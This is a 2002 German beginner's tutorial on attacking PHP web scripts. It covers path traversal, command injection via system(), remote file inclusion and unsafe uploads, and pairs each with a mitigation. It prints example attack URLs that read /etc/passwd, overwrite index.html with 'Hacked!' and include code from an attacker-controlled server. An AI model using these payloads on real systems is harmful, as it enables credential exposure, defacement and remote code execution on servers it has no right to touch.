Server mit Hilfe von PHP-Bugs knacken. Verfasser: Zero X E-Mail: USDarkforce@aol.com Datum: 21. August 2002 Achtung: Dieser Text soll nicht der Anreiz dazu sein, andere Computer zu schädigen oder private Daten auszuspionieren. Jeder ist für sein Handeln selbst verantwortlich. Ich habe nicht alle Angriffsarten und Möglichkeiten erklärt weil sich dieser Text an Anfänger richtet. Bei CGI funktionieren die meisten Exploits genauso, aber weil ich mich in PHP etwas besser auskenne, bin ich mehr auf PHP eingegangen. Rechtschreibfehler dürft ihr übrigens behalten. ;-) Remote File Retrieving: Diese Sicherheitslücke entsteht, wenn das Skript dazu verwendet wird, andere Dateien anzuzeigen und gewisse Zeichen nicht gefiltert werden (z.B: . und /). Es ist dem Angreifer dann möglich sich andere Dateien anzeigen zu lassen, die er eigentlich nicht sehen soll. Es ist dann möglich sich Passwort-Dateien anzeigen zu lassen und in höhere Verzeichnissebenen vorzudringen. Hier ein Beispiel: script.php?file=../../../../../etc/passwd Bei diesem Beispiel versucht der Angreifer sich die Passwortdatei vom Server anzeigen zu lassen. Diese Sicherheitslücke kann behoben werden, indem man das Skript so programmiert, daß die angezeigte Datei eine bestimmte Dateinamenerweiterung haben muss. Würde der Angreifer dann die selbe URL eingeben wie oben und das Skript wurde so programmiert, daß alle Dateien die Endung .html haben müssen, würde folgende Fehlermeldung kommen: Warning: Failed opening '../../../../../etc/passwd.html' for inclusion (include_path='') in /home/kunden/pub/homes/htdocs/script.php on line 123 Hier ist es aber noch möglich, zum Beispiel html-Dateien in einem Passwortgeschützen Bereich anzusehen. Deswegen sollte man im Skript angeben das es die Eingabe von "." und "/" ignoriert. Wenn dann der Angreifer die selbe URL eingibt kommt folgendes: Warning: Failed opening 'etcpasswd.html' for inclusion (include_path='') in /home/kunden/pub/homes/htdocs/script.php on line 123 So ist das Script geschützt. Remote Command Execution: Diese Sicherheitslücke kann entstehen wenn die Funktion system() verwendet wird. Der Angreifer kann dann beliebige Commandos ausführen. Hier ein Beispiel: script.php?cmd=cat /etc/passwd Bei diesem Beispiel hat der Angreifer versucht sich die Passwortdatei anzuzeigen. Es gibt aber noch etwas: script.php?cmd=echo >index.html Hacked! Hier wurde die Datei index.html mit dem Text "Hacked!" überschrieben. Man kann bei dieser Sicherheitslücke Dateien verändern. Viele Webspaceanbieter lassen auf ihrem Server PHP im Save Mode laufen, damit System() nicht benutzt werden kann. Es gibt Alternativen wie passthru(). Remote Code Execution: Diese Sicherheitslücke kann entstehen, wenn das Skript dazu verwendet wird andere Dateien anzuzeigen (ähnlich wie bei Remote File Retrieving). Man kann das Skript dazu bringen, ein anderes Skript auf einem anderen Server auszuführen. Hier ein Beispiel: script.php?file=http://dein_Server/dein_Script.php Jetzt kann beliebiger PHP Programmcode auf dem Server ausgeführt werden. Wenn das Script eine bestimmte Dateinamenerweiterung haben muss, muss man auf dem eigenen Server nur ein SKript mit der entsprechenden Dateinamenerweiterung erstellen. Um sich vor dieser Sicherheitslücke zu schützen, sollte das Skript zum Beispiel so programmiert werden, daß es Dateien nur in einem bestimmten Verzeichniss ausführt und damit kein Remote File Retrieving Bug entsteht, sollte das Skript so gemacht sein, daß alle Dateien eine bestimmte Dateinamenerweiterung haben müssen. File Upload: Das ist eigentlich keine richtige Sicherheitslücke, sondern mehr die Dummheit des Admins. So etwas kann zum Beispiel in Forensystemen vokommen. In einigen Forensystemen kann man zum Beispiel durch so ein Skript Bilder hohladen, die dann im eigenen Benutzerprofil erscheinen. In einigen Fällen werden auch andere Dateien akzeptiert. Man könnte dann ein Skript draufladen, das Systembefehle ausführt. Deswegen sollte bei solchen Skripten nur Dateien mit einer bestimmten Dateinamenerweiterung akzeptiert werden. Schlusswort: Es sind zahlreiche Skripte anfällig, das liegt daran, daß es viele "Hobbyprogrammierer" gibt, die für ihre Seite mal schnell ein PHP oder CGI Skript erstellen ohne sich über irgendwelche Gefahren bewusst zu sein. In einigen Fällen ist es möglich, kompletten Zugriff auf das gesammte System zu bekommen. Weitere Infos gibt es bei: www.php.net neworder.box.sk www.packetstormsecurity.com